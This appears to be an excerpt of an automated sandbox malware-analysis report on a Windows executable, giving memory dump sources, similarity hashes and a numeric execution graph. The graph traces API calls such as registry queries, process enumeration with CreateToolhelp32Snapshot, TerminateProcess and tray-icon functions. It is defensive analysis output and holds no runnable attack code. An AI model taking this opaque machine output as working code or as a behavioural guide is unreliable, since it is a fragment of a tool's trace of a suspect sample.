                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandlelstrlenwvsprintf
                                                                    • String ID: RMDir: RemoveDirectory invalid input("")
                                                                    • API String ID: 3509786178-2769509956
                                                                    • Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
                                                                    • Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
                                                                    • Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
                                                                    • Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E
                                                                    Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
                                                                    • lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
                                                                    • CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
                                                                    • lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen$CharNextlstrcmpi
                                                                    • String ID:
                                                                    • API String ID: 190613189-0
                                                                    • Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
                                                                    • Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
                                                                    • Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
                                                                    • Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

                                                                    Execution Graph

                                                                    Execution Coverage:3.8%
                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                    Signature Coverage:2.4%
                                                                    Total number of Nodes:2000
                                                                    Total number of Limit Nodes:115
                                                                    execution_graph 98113 7b107d 98118 7c2fc5 98113->98118 98115 7b108c 98149 7d2f70 98115->98149 98119 7c2fd5 __write_nolock 98118->98119 98152 7c1207 98119->98152 98123 7c3094 98164 7d08c1 98123->98164 98130 7c1207 59 API calls 98131 7c30c5 98130->98131 98183 7c19e1 98131->98183 98133 7c30ce RegOpenKeyExW 98134 8001a3 RegQueryValueExW 98133->98134 98138 7c30f0 Mailbox 98133->98138 98135 8001c0 98134->98135 98136 800235 RegCloseKey 98134->98136 98187 7d0fe6 98135->98187 98136->98138 98148 800247 _wcscat Mailbox __wsetenvp 98136->98148 98138->98115 98139 8001d9 98197 7c433f 98139->98197 98140 7c1609 59 API calls 98140->98148 98143 800201 98200 7c1821 98143->98200 98145 80021b 98145->98136 98147 7c4c94 59 API calls 98147->98148 98148->98138 98148->98140 98148->98147 98209 7c1a36 98148->98209 98280 7d2e74 98149->98280 98151 7b1096 98153 7d0fe6 Mailbox 59 API calls 98152->98153 98154 7c1228 98153->98154 98155 7d0fe6 Mailbox 59 API calls 98154->98155 98156 7c1236 98155->98156 98157 7d00cf 98156->98157 98213 7e1b70 98157->98213 98160 7c1a36 59 API calls 98161 7d0102 98160->98161 98215 7d0284 98161->98215 98163 7d010c Mailbox 98163->98123 98165 7e1b70 __write_nolock 98164->98165 98166 7d08ce GetFullPathNameW 98165->98166 98167 7d08f0 98166->98167 98168 7c1821 59 API calls 98167->98168 98169 7c309f 98168->98169 98170 7c1900 98169->98170 98171 7c1914 98170->98171 98172 7ff534 98170->98172 98237 7c18a5 98171->98237 98242 7c1c7e 59 API calls Mailbox 98172->98242 98175 7c191f 98177 7c4c94 98175->98177 98176 7ff53f __wsetenvp _memmove 98178 7c4ca2 98177->98178 98182 7c4cc4 _memmove 98177->98182 98180 7d0fe6 Mailbox 59 API calls 98178->98180 98179 7d0fe6 Mailbox 59 API calls 98181 7c30bc 98179->98181 98180->98182 98181->98130 98182->98179 98184 7c19fb 98183->98184 98186 7c19ee 98183->98186 98185 7d0fe6 Mailbox 59 API calls 98184->98185 98185->98186 98186->98133 98189 7d0fee 98187->98189 98190 7d1008 98189->98190 98192 7d100c std::exception::exception 98189->98192 98244 7d593c 98189->98244 98261 7d35d1 DecodePointer 98189->98261 98190->98139 98262 7d87cb RaiseException 98192->98262 98194 7d1036 98263 7d8701 58 API calls _free 98194->98263 98196 7d1048 98196->98139 98198 7d0fe6 Mailbox 59 API calls 98197->98198 98199 7c4351 RegQueryValueExW 98198->98199 98199->98143 98199->98145 98201 7c182d __wsetenvp 98200->98201 98202 7c189a 98200->98202 98204 7c1868 98201->98204 98205 7c1843 98201->98205 98203 7c1981 59 API calls 98202->98203 98208 7c184b _memmove 98203->98208 98279 7c1c7e 59 API calls Mailbox 98204->98279 98278 7c1b7c 59 API calls Mailbox 98205->98278 98208->98145 98210 7c1a45 __wsetenvp _memmove 98209->98210 98211 7d0fe6 Mailbox 59 API calls 98210->98211 98212 7c1a83 98211->98212 98212->98148 98214 7d00dc GetModuleFileNameW 98213->98214 98214->98160 98216 7e1b70 __write_nolock 98215->98216 98217 7d0291 GetFullPathNameW 98216->98217 98218 7d02cd 98217->98218 98219 7d02b0 98217->98219 98221 7c19e1 59 API calls 98218->98221 98220 7c1821 59 API calls 98219->98220 98222 7d02bc 98220->98222 98221->98222 98225 7c133d 98222->98225 98226 7c134b 98225->98226 98229 7c1981 98226->98229 98228 7c135b 98228->98163 98230 7c198f 98229->98230 98232 7c1998 _memmove 98229->98232 98230->98232 98233 7c1aa4 98230->98233 98232->98228 98234 7c1ab7 98233->98234 98236 7c1ab4 _memmove 98233->98236 98235 7d0fe6 Mailbox 59 API calls 98234->98235 98235->98236 98236->98232 98238 7c18b4 __wsetenvp 98237->98238 98240 7c18c5 _memmove 98238->98240 98243 7c1c7e 59 API calls Mailbox 98238->98243 98240->98175 98241 7ff4f1 _memmove 98242->98176 98243->98241 98245 7d59b7 98244->98245 98249 7d5948 98244->98249 98272 7d35d1 DecodePointer 98245->98272 98247 7d59bd 98273 7d8d58 58 API calls __getptd_noexit 98247->98273 98248 7d5953 98248->98249 98264 7da39b 58 API calls 2 library calls 98248->98264 98265 7da3f8 58 API calls 8 library calls 98248->98265 98266 7d32cf 98248->98266 98249->98248 98252 7d597b RtlAllocateHeap 98249->98252 98255 7d59a3 98249->98255 98259 7d59a1 98249->98259 98269 7d35d1 DecodePointer 98249->98269 98252->98249 98253 7d59af 98252->98253 98253->98189 98270 7d8d58 58 API calls __getptd_noexit 98255->98270 98271 7d8d58 58 API calls __getptd_noexit 98259->98271 98261->98189 98262->98194 98263->98196 98264->98248 98265->98248 98274 7d329b GetModuleHandleExW 98266->98274 98269->98249 98270->98259 98271->98253 98272->98247 98273->98253 98275 7d32cb ExitProcess 98274->98275 98276 7d32b4 GetProcAddress 98274->98276 98276->98275 98277 7d32c6 98276->98277 98277->98275 98278->98208 98279->98208 98281 7d2e80 _wprintf 98280->98281 98288 7d3447 98281->98288 98287 7d2ea7 _wprintf 98287->98151 98305 7d9e3b 98288->98305 98290 7d2e89 98291 7d2eb8 DecodePointer DecodePointer 98290->98291 98292 7d2ee5 98291->98292 98293 7d2e95 98291->98293 98292->98293 98356 7d89d4 59 API calls 2 library calls 98292->98356 98302 7d2eb2 98293->98302 98295 7d2f48 EncodePointer EncodePointer 98295->98293 98296 7d2ef7 98296->98295 98297 7d2f1c 98296->98297 98357 7d8a94 61 API calls 2 library calls 98296->98357 98297->98293 98300 7d2f36 EncodePointer 98297->98300 98358 7d8a94 61 API calls 2 library calls 98297->98358 98300->98295 98301 7d2f30 98301->98293 98301->98300 98359 7d3450 98302->98359 98306 7d9e4c 98305->98306 98307 7d9e5f EnterCriticalSection 98305->98307 98312 7d9ec3 98306->98312 98307->98290 98309 7d9e52 98309->98307 98336 7d32e5 58 API calls 3 library calls 98309->98336 98313 7d9ecf _wprintf 98312->98313 98314 7d9ed8 98313->98314 98315 7d9ef0 98313->98315 98337 7da39b 58 API calls 2 library calls 98314->98337 98324 7d9f11 _wprintf 98315->98324 98339 7d8a4d 98315->98339 98318 7d9edd 98338 7da3f8 58 API calls 8 library calls 98318->98338 98321 7d9ee4 98325 7d32cf _fast_error_exit 3 API calls 98321->98325 98322 7d9f0c 98345 7d8d58 58 API calls __getptd_noexit 98322->98345 98323 7d9f1b 98327 7d9e3b __lock 58 API calls 98323->98327 98324->98309 98328 7d9eee 98325->98328 98329 7d9f22 98327->98329 98328->98315 98330 7d9f2f 98329->98330 98331 7d9f47 98329->98331 98346 7da05b InitializeCriticalSectionAndSpinCount 98330->98346 98347 7d2f85 98331->98347 98334 7d9f3b 98353 7d9f63 LeaveCriticalSection _doexit 98334->98353 98337->98318 98338->98321 98340 7d8a5b 98339->98340 98341 7d593c __crtLCMapStringA_stat 58 API calls 98340->98341 98342 7d8a8d 98340->98342 98344 7d8a6e 98340->98344 98341->98340 98342->98322 98342->98323 98344->98340 98344->98342 98354 7da362 Sleep 98344->98354 98345->98324 98346->98334 98348 7d2f8e RtlFreeHeap 98347->98348 98349 7d2fb7 __dosmaperr 98347->98349 98348->98349 98350 7d2fa3 98348->98350 98349->98334 98355 7d8d58 58 API calls __getptd_noexit 98350->98355 98352 7d2fa9 GetLastError 98352->98349 98353->98324 98354->98344 98355->98352 98356->98296 98357->98297 98358->98301 98362 7d9fa5 LeaveCriticalSection 98359->98362 98361 7d2eb7 98361->98287 98362->98361 98363 7f01f8 98364 7f01fa 98363->98364 98367 814d18 SHGetFolderPathW 98364->98367 98368 7c1821 59 API calls 98367->98368 98369 7f0203 98368->98369 98370 7b1016 98375 7c5ce7 98370->98375 98373 7d2f70 __cinit 67 API calls 98374 7b1025 98373->98374 98376 7d0fe6 Mailbox 59 API calls 98375->98376 98377 7c5cef 98376->98377 98378 7b101b 98377->98378 98382 7c5f39 98377->98382 98378->98373 98383 7c5cfb 98382->98383 98384 7c5f42 98382->98384 98386 7c5d13 98383->98386 98385 7d2f70 __cinit 67 API calls 98384->98385 98385->98383 98387 7c1207 59 API calls 98386->98387 98388 7c5d2b GetVersionExW 98387->98388 98389 7c1821 59 API calls 98388->98389 98390 7c5d6e 98389->98390 98391 7c1981 59 API calls 98390->98391 98401 7c5d9b 98390->98401 98392 7c5d8f 98391->98392 98393 7c133d 59 API calls 98392->98393 98393->98401 98394 7c5e00 GetCurrentProcess IsWow64Process 98395 7c5e19 98394->98395 98397 7c5e2f 98395->98397 98398 7c5e98 GetSystemInfo 98395->98398 98396 801098 98410 7c55f0 98397->98410 98399 7c5e65 98398->98399 98399->98378 98401->98394 98401->98396 98403 7c5e8c GetSystemInfo 98406 7c5e56 98403->98406 98404 7c5e41 98405 7c55f0 2 API calls 98404->98405 98407 7c5e49 GetNativeSystemInfo 98405->98407 98406->98399 98408 7c5e5c FreeLibrary 98406->98408 98407->98406 98408->98399 98411 7c5619 98410->98411 98412 7c55f9 LoadLibraryA 98410->98412 98411->98403 98411->98404 98412->98411 98413 7c560a GetProcAddress 98412->98413 98413->98411 98414 7b1055 98419 7b2a19 98414->98419 98417 7d2f70 __cinit 67 API calls 98418 7b1064 98417->98418 98420 7c1207 59 API calls 98419->98420 98421 7b2a87 98420->98421 98426 7b1256 98421->98426 98424 7b2b24 98425 7b105a 98424->98425 98429 7b13f8 59 API calls 2 library calls 98424->98429 98425->98417 98430 7b1284 98426->98430 98429->98424 98431 7b1275 98430->98431 98432 7b1291 98430->98432 98431->98424 98432->98431 98433 7b1298 RegOpenKeyExW 98432->98433 98433->98431 98434 7b12b2 RegQueryValueExW 98433->98434 98435 7b12e8 RegCloseKey 98434->98435 98436 7b12d3 98434->98436 98435->98431 98436->98435 98437 7b5ff5 98460 7b5ede Mailbox _memmove 98437->98460 98438 7d0fe6 59 API calls Mailbox 98438->98460 98439 7b6a9b 98605 7ba9de 265 API calls 98439->98605 98442 7eeff9 98443 7b5190 Mailbox 59 API calls 98442->98443 98446 7eefeb 98443->98446 98444 7ef007 98621 81a48d 89 API calls 4 library calls 98444->98621 98495 7b5569 Mailbox 98446->98495 98620 806cf1 59 API calls Mailbox 98446->98620 98449 7b60e5 98450 7ee137 98449->98450 98461 7b63bd Mailbox 98449->98461 98462 7b6abc 98449->98462 98479 7b6152 Mailbox 98449->98479 98450->98461 98606 807aad 59 API calls 98450->98606 98453 7c1a36 59 API calls 98453->98460 98455 7d0fe6 Mailbox 59 API calls 98457 7b63d1 98455->98457 98459 7b63de 98457->98459 98457->98462 98463 7b6413 98459->98463 98464 7ee172 98459->98464 98460->98438 98460->98439 98460->98442 98460->98444 98460->98449 98460->98453 98460->98462 98460->98495 98502 7b53b0 98460->98502 98557 82c355 98460->98557 98604 7b523c 59 API calls 98460->98604 98609 7c1c9c 98460->98609 98613 817f11 59 API calls Mailbox 98460->98613 98614 806cf1 59 API calls Mailbox 98460->98614 98461->98455 98466 7b6426 98461->98466 98619 81a48d 89 API calls 4 library calls 98462->98619 98463->98466 98493 7b5447 Mailbox 98463->98493 98607 82c87c 85 API calls 2 library calls 98464->98607 98608 82c9c9 95 API calls Mailbox 98466->98608 98470 7ee19d 98470->98470 98471 7ef165 98623 81a48d 89 API calls 4 library calls 98471->98623 98472 7ee691 98616 81a48d 89 API calls 4 library calls 98472->98616 98475 7b69fa 98484 7c1c9c 59 API calls 98475->98484 98478 7d0fe6 59 API calls Mailbox 98478->98493 98479->98446 98479->98462 98483 7ee2e9 VariantClear 98479->98483 98479->98495 98530 7bcfd7 98479->98530 98549 82f1b2 98479->98549 98554 82e60c 98479->98554 98599 7b5190 98479->98599 98615 807aad 59 API calls 98479->98615 98480 7ee6a0 98481 7c1c9c 59 API calls 98481->98493 98482 7eea9a 98488 7c1c9c 59 API calls 98482->98488 98483->98479 98484->98495 98486 7b69ff 98486->98471 98486->98472 98488->98495 98489 7c1207 59 API calls 98489->98493 98490 807aad 59 API calls 98490->98493 98491 7eeb67 98491->98495 98617 807aad 59 API calls 98491->98617 98493->98472 98493->98475 98493->98478 98493->98481 98493->98482 98493->98486 98493->98489 98493->98490 98493->98491 98494 7d2f70 67 API calls __cinit 98493->98494 98493->98495 98496 7eef28 98493->98496 98498 7b5a1a 98493->98498 98597 7b7e50 265 API calls 2 library calls 98493->98597 98598 7b6e30 60 API calls Mailbox 98493->98598 98494->98493 98618 81a48d 89 API calls 4 library calls 98496->98618 98622 81a48d 89 API calls 4 library calls 98498->98622 98503 7b53cf 98502->98503 98516 7b53fd Mailbox 98502->98516 98504 7d0fe6 Mailbox 59 API calls 98503->98504 98504->98516 98505 7b69ff 98509 7ef165 98505->98509 98510 7ee691 98505->98510 98506 7b69fa 98507 7c1c9c 59 API calls 98506->98507 98514 7b5569 Mailbox 98507->98514 98508 7d0fe6 59 API calls Mailbox 98508->98516 98630 81a48d 89 API calls 4 library calls 98509->98630 98626 81a48d 89 API calls 4 library calls 98510->98626 98511 7c1207 59 API calls 98511->98516 98514->98460 98516->98505 98516->98506 98516->98508 98516->98510 98516->98511 98516->98514 98518 7d2f70 67 API calls __cinit 98516->98518 98519 7eea9a 98516->98519 98522 7c1c9c 59 API calls 98516->98522 98524 807aad 59 API calls 98516->98524 98525 7eeb67 98516->98525 98527 7eef28 98516->98527 98529 7b5a1a 98516->98529 98624 7b7e50 265 API calls 2 library calls 98516->98624 98625 7b6e30 60 API calls Mailbox 98516->98625 98517 7ee6a0 98517->98460 98518->98516 98521 7c1c9c 59 API calls 98519->98521 98521->98514 98522->98516 98524->98516 98525->98514 98627 807aad 59 API calls 98525->98627 98628 81a48d 89 API calls 4 library calls 98527->98628 98629 81a48d 89 API calls 4 library calls 98529->98629 98631 7b4d37 98530->98631 98534 7bd018 98535 7bd57b 98534->98535 98540 7bd439 Mailbox __wsetenvp 98534->98540 98679 7b502b 59 API calls 98534->98679 98535->98479 98539 7d0c65 62 API calls 98539->98540 98540->98535 98540->98539 98542 7b4f98 59 API calls 98540->98542 98544 7b4d37 84 API calls 98540->98544 98545 7c1821 59 API calls 98540->98545 98548 7b502b 59 API calls 98540->98548 98654 7d312d 98540->98654 98664 7c59d3 98540->98664 98675 7c5ac3 98540->98675 98680 7c162d 98540->98680 98685 7c153b 59 API calls 2 library calls 98540->98685 98686 7b4f3c 59 API calls Mailbox 98540->98686 98542->98540 98544->98540 98545->98540 98548->98540 98550 7b4d37 84 API calls 98549->98550 98551 82f1cf 98550->98551 98731 814148 CreateToolhelp32Snapshot Process32FirstW 98551->98731 98553 82f1de 98553->98479 98752 82d1c6 98554->98752 98556 82e61c 98556->98479 98558 82c380 98557->98558 98559 82c39a 98557->98559 98891 81a48d 89 API calls 4 library calls 98558->98891 98864 82a8fd 98559->98864 98563 7b53b0 264 API calls 98564 82c406 98563->98564 98565 82c498 98564->98565 98568 82c447 98564->98568 98590 82c392 Mailbox 98564->98590 98566 82c4ee 98565->98566 98567 82c49e 98565->98567 98569 7b4d37 84 API calls 98566->98569 98566->98590 98892 817ed5 59 API calls 98567->98892 98573 81789a 59 API calls 98568->98573 98571 82c500 98569->98571 98574 7c1aa4 59 API calls 98571->98574 98572 82c4c1 98893 7c35b9 59 API calls Mailbox 98572->98893 98576 82c477 98573->98576 98577 82c524 CharUpperBuffW 98574->98577 98579 806ebc 264 API calls 98576->98579 98580 82c53e 98577->98580 98578 82c4c9 Mailbox 98894 7bb020 98578->98894 98579->98590 98581 82c591 98580->98581 98582 82c545 98580->98582 98584 7b4d37 84 API calls 98581->98584 98871 81789a 98582->98871 98585 82c599 98584->98585 98936 7b5376 60 API calls 98585->98936 98590->98460 98591 82c5a3 98591->98590 98592 7b4d37 84 API calls 98591->98592 98593 82c5be 98592->98593 98937 7c35b9 59 API calls Mailbox 98593->98937 98595 82c5ce 98596 7bb020 264 API calls 98595->98596 98596->98590 98597->98493 98598->98493 98601 7b519b 98599->98601 98600 7b51d2 98600->98479 98601->98600 99239 7b41c4 59 API calls Mailbox 98601->99239 98603 7b51fd 98603->98479 98604->98460 98605->98462 98606->98461 98607->98466 98608->98470 98610 7c1caf 98609->98610 98611 7c1ca7 98609->98611 98610->98460 99240 7c1bcc 59 API calls 2 library calls 98611->99240 98613->98460 98614->98460 98615->98479 98616->98480 98617->98495 98618->98498 98619->98446 98620->98495 98621->98446 98622->98495 98623->98495 98624->98516 98625->98516 98626->98517 98627->98514 98628->98529 98629->98514 98630->98514 98632 7b4d4b 98631->98632 98633 7b4d51 98631->98633 98649 7b5278 98632->98649 98634 7edb28 __i64tow 98633->98634 98635 7b4d99 98633->98635 98637 7b4d57 __itow 98633->98637 98640 7eda2f 98633->98640 98687 7d38c8 83 API calls 4 library calls 98635->98687 98639 7d0fe6 Mailbox 59 API calls 98637->98639 98641 7b4d71 98639->98641 98643 7d0fe6 Mailbox 59 API calls 98640->98643 98647 7edaa7 Mailbox _wcscpy 98640->98647 98641->98632 98642 7c1a36 59 API calls 98641->98642 98642->98632 98644 7eda74 98643->98644 98645 7d0fe6 Mailbox 59 API calls 98644->98645 98646 7eda9a 98645->98646 98646->98647 98648 7c1a36 59 API calls 98646->98648 98688 7d38c8 83 API calls 4 library calls 98647->98688 98648->98647 98650 7d0fe6 Mailbox 59 API calls 98649->98650 98651 7b5285 98650->98651 98652 7b5294 98651->98652 98653 7c1a36 59 API calls 98651->98653 98652->98534 98653->98652 98655 7d31ae 98654->98655 98656 7d3139 98654->98656 98691 7d31c0 60 API calls 4 library calls 98655->98691 98660 7d315e 98656->98660 98689 7d8d58 58 API calls __getptd_noexit 98656->98689 98659 7d31bb 98659->98540 98660->98540 98661 7d3145 98690 7d8fe6 9 API calls __wsopen_nolock 98661->98690 98663 7d3150 98663->98540 98665 7c59fe _memset 98664->98665 98692 7c5800 98665->98692 98669 7c5a9d Shell_NotifyIconW 98672 7c5aab 98669->98672 98670 7c5ab9 Shell_NotifyIconW 98670->98672 98671 7c5a83 98671->98669 98671->98670 98696 7c56f8 98672->98696 98674 7c5ab2 98674->98540 98676 7c5b25 98675->98676 98677 7c5ad5 _memset 98675->98677 98676->98540 98678 7c5af4 Shell_NotifyIconW 98677->98678 98678->98676 98679->98540 98681 7d0fe6 Mailbox 59 API calls 98680->98681 98682 7c1652 98681->98682 98683 7d0fe6 Mailbox 59 API calls 98682->98683 98684 7c1660 98683->98684 98684->98540 98685->98540 98686->98540 98687->98637 98688->98634 98689->98661 98690->98663 98691->98659 98693 7c581c 98692->98693 98694 7c5810 98692->98694 98693->98694 98695 7c5821 DestroyIcon 98693->98695 98694->98671 98726 8134dd 62 API calls _W_store_winword 98694->98726 98695->98694 98697 7c57fa Mailbox 98696->98697 98698 7c5715 98696->98698 98697->98674 98699 7c162d 59 API calls 98698->98699 98700 7c5723 98699->98700 98701 800c4c LoadStringW 98700->98701 98702 7c5730 98700->98702 98705 800c66 98701->98705 98703 7c1821 59 API calls 98702->98703 98704 7c5745 98703->98704 98706 7c5752 98704->98706 98713 800c74 98704->98713 98707 7c1c9c 59 API calls 98705->98707 98706->98705 98708 7c5760 98706->98708 98715 7c5778 _memset _wcscpy 98707->98715 98709 7c1900 59 API calls 98708->98709 98710 7c576a 98709->98710 98727 7c17e0 59 API calls Mailbox 98710->98727 98712 800cb7 Mailbox 98730 7d38c8 83 API calls 4 library calls 98712->98730 98713->98712 98714 7c1207 59 API calls 98713->98714 98713->98715 98716 800c9e 98714->98716 98717 7c57e0 Shell_NotifyIconW 98715->98717 98728 810252 60 API calls Mailbox 98716->98728 98717->98697 98720 800cd6 98722 7c1900 59 API calls 98720->98722 98721 800ca9 98729 7c17e0 59 API calls Mailbox 98721->98729 98724 800ce7 98722->98724 98725 7c1900 59 API calls 98724->98725 98725->98715 98726->98671 98727->98715 98728->98721 98729->98712 98730->98720 98741 814ce2 98731->98741 98733 814195 Process32NextW 98734 814244 CloseHandle 98733->98734 98736 81418e Mailbox 98733->98736 98734->98553 98735 7c1207 59 API calls 98735->98736 98736->98733 98736->98734 98736->98735 98737 7c1a36 59 API calls 98736->98737 98747 7d0119 59 API calls Mailbox 98736->98747 98748 7c17e0 59 API calls Mailbox 98736->98748 98749 7c151f 61 API calls 98736->98749 98737->98736 98742 814d09 98741->98742 98746 814cf0 98741->98746 98751 7d37c3 59 API calls __wcstoi64 98742->98751 98745 814d0f 98745->98736 98746->98742 98746->98745 98750 7d385c GetStringTypeW _iswctype 98746->98750 98747->98736 98748->98736 98749->98736 98750->98746 98751->98745 98753 7b4d37 84 API calls 98752->98753 98754 82d203 98753->98754 98756 82d24a Mailbox 98754->98756 98790 82de8e 98754->98790 98756->98556 98757 82d617 98841 82dfb1 92 API calls Mailbox 98757->98841 98759 82d4b0 98803 82d057 98759->98803 98761 82d626 98761->98759 98762 82d632 98761->98762 98762->98756 98763 7b4d37 84 API calls 98778 82d29b Mailbox 98763->98778 98768 82d4e9 98818 7d0e38 98768->98818 98771 82d503 98825 81a48d 89 API calls 4 library calls 98771->98825 98772 82d51c 98826 7b47be 98772->98826 98775 82d50e GetCurrentProcess TerminateProcess 98775->98772 98776 82d4a2 98776->98757 98776->98759 98778->98756 98778->98763 98778->98776 98823 81fc0d 59 API calls 2 library calls 98778->98823 98824 82d6c8 61 API calls 2 library calls 98778->98824 98782 82d68d 98782->98756 98785 82d6a1 FreeLibrary 98782->98785 98783 82d554 98838 82dd32 107 API calls _free 98783->98838 98785->98756 98789 82d565 98789->98782 98839 7b4230 59 API calls Mailbox 98789->98839 98840 7b523c 59 API calls 98789->98840 98842 82dd32 107 API calls _free 98789->98842 98791 7c1aa4 59 API calls 98790->98791 98792 82dea9 CharLowerBuffW 98791->98792 98843 80f903 98792->98843 98796 7c1207 59 API calls 98797 82dee2 98796->98797 98850 7c1462 59 API calls 2 library calls 98797->98850 98799 82def9 98800 7c1981 59 API calls 98799->98800 98801 82df05 Mailbox 98800->98801 98802 82df41 Mailbox 98801->98802 98851 82d6c8 61 API calls 2 library calls 98801->98851 98802->98778 98804 82d072 98803->98804 98808 82d0c7 98803->98808 98805 7d0fe6 Mailbox 59 API calls 98804->98805 98806 82d094 98805->98806 98807 7d0fe6 Mailbox 59 API calls 98806->98807 98806->98808 98807->98806 98809 82e139 98808->98809 98810 82e362 Mailbox 98809->98810 98817 82e15c _strcat _wcscpy __wsetenvp 98809->98817 98810->98768 98811 7b5087 59 API calls 98811->98817 98812 7b50d5 59 API calls 98812->98817 98813 7b502b 59 API calls 98813->98817 98814 7b4d37 84 API calls 98814->98817 98815 7d593c 58 API calls __crtLCMapStringA_stat 98815->98817 98817->98810 98817->98811 98817->98812 98817->98813 98817->98814 98817->98815 98854 815e42 61 API calls 2 library calls 98817->98854 98819 7d0e4d 98818->98819 98820 7d0ee5 CreateToolhelp32Snapshot 98819->98820 98821 7d0ed3 CloseHandle 98819->98821 98822 7d0eb3 98819->98822 98820->98822 98821->98822 98822->98771 98822->98772 98823->98778 98824->98778 98825->98775 98827 7b47c6 98826->98827 98828 7d0fe6 Mailbox 59 API calls 98827->98828 98829 7b47d4 98828->98829 98830 7b47e0 98829->98830 98855 7b46ec 59 API calls Mailbox 98829->98855 98832 7b4540 98830->98832 98856 7b4650 98832->98856 98834 7d0fe6 Mailbox 59 API calls 98836 7b45eb 98834->98836 98835 7b454f 98835->98834 98835->98836 98836->98789 98837 7b4230 59 API calls Mailbox 98836->98837 98837->98783 98838->98789 98839->98789 98840->98789 98841->98761 98842->98789 98845 80f92e __wsetenvp 98843->98845 98844 80f96d 98844->98796 98844->98801 98845->98844 98848 80f963 98845->98848 98849 80fa14 98845->98849 98848->98844 98852 7c14db 61 API calls 98848->98852 98849->98844 98853 7c14db 61 API calls 98849->98853 98850->98799 98851->98802 98852->98848 98853->98849 98854->98817 98855->98830 98857 7b4659 Mailbox 98856->98857 98858 7ed6ec 98857->98858 98863 7b4663 98857->98863 98859 7d0fe6 Mailbox 59 API calls 98858->98859 98860 7ed6f8 98859->98860 98861 7b466a 98861->98835 98862 7b5190 Mailbox 59 API calls 98862->98863 98863->98861 98863->98862 98865 82a918 98864->98865 98866 82a970 98864->98866 98867 7d0fe6 Mailbox 59 API calls 98865->98867 98866->98563 98870 82a93a 98867->98870 98868 7d0fe6 Mailbox 59 API calls 98868->98870 98870->98866 98870->98868 98938 80715b 59 API calls Mailbox 98870->98938 98872 8178ac 98871->98872 98874 8178e3 98871->98874 98873 7d0fe6 Mailbox 59 API calls 98872->98873 98872->98874 98873->98874 98875 806ebc 98874->98875 98876 806f06 98875->98876 98880 806f1c Mailbox 98875->98880 98877 7c1a36 59 API calls 98876->98877 98877->98880 98878 806f47 98881 82c355 265 API calls 98878->98881 98879 806f5a 98939 7ba820 98879->98939 98880->98878 98880->98879 98887 806f53 98881->98887 98884 807002 98884->98590 98885 806f91 98886 806fdc 98885->98886 98885->98887 98889 806fc1 98885->98889 98886->98887 98960 81a48d 89 API calls 4 library calls 98886->98960 98961 806cf1 59 API calls Mailbox 98887->98961 98956 80706d 98889->98956 98891->98590 98892->98572 98893->98578 98967 7c3740 98894->98967 98897 7f30b6 99055 81a48d 89 API calls 4 library calls 98897->99055 98899 7bb07f 98899->98897 98900 7f30d4 98899->98900 98929 7bbb86 98899->98929 98932 7bb132 Mailbox _memmove 98899->98932 99056 81a48d 89 API calls 4 library calls 98900->99056 98902 7f355e 98935 7bb4dd 98902->98935 99086 81a48d 89 API calls 4 library calls 98902->99086 98903 80730a 59 API calls 98903->98932 98904 7f318a 98904->98935 99058 81a48d 89 API calls 4 library calls 98904->99058 98909 7f3106 98909->98904 99057 7ba9de 265 API calls 98909->99057 98912 7b53b0 265 API calls 98912->98932 98913 7b3b31 59 API calls 98913->98932 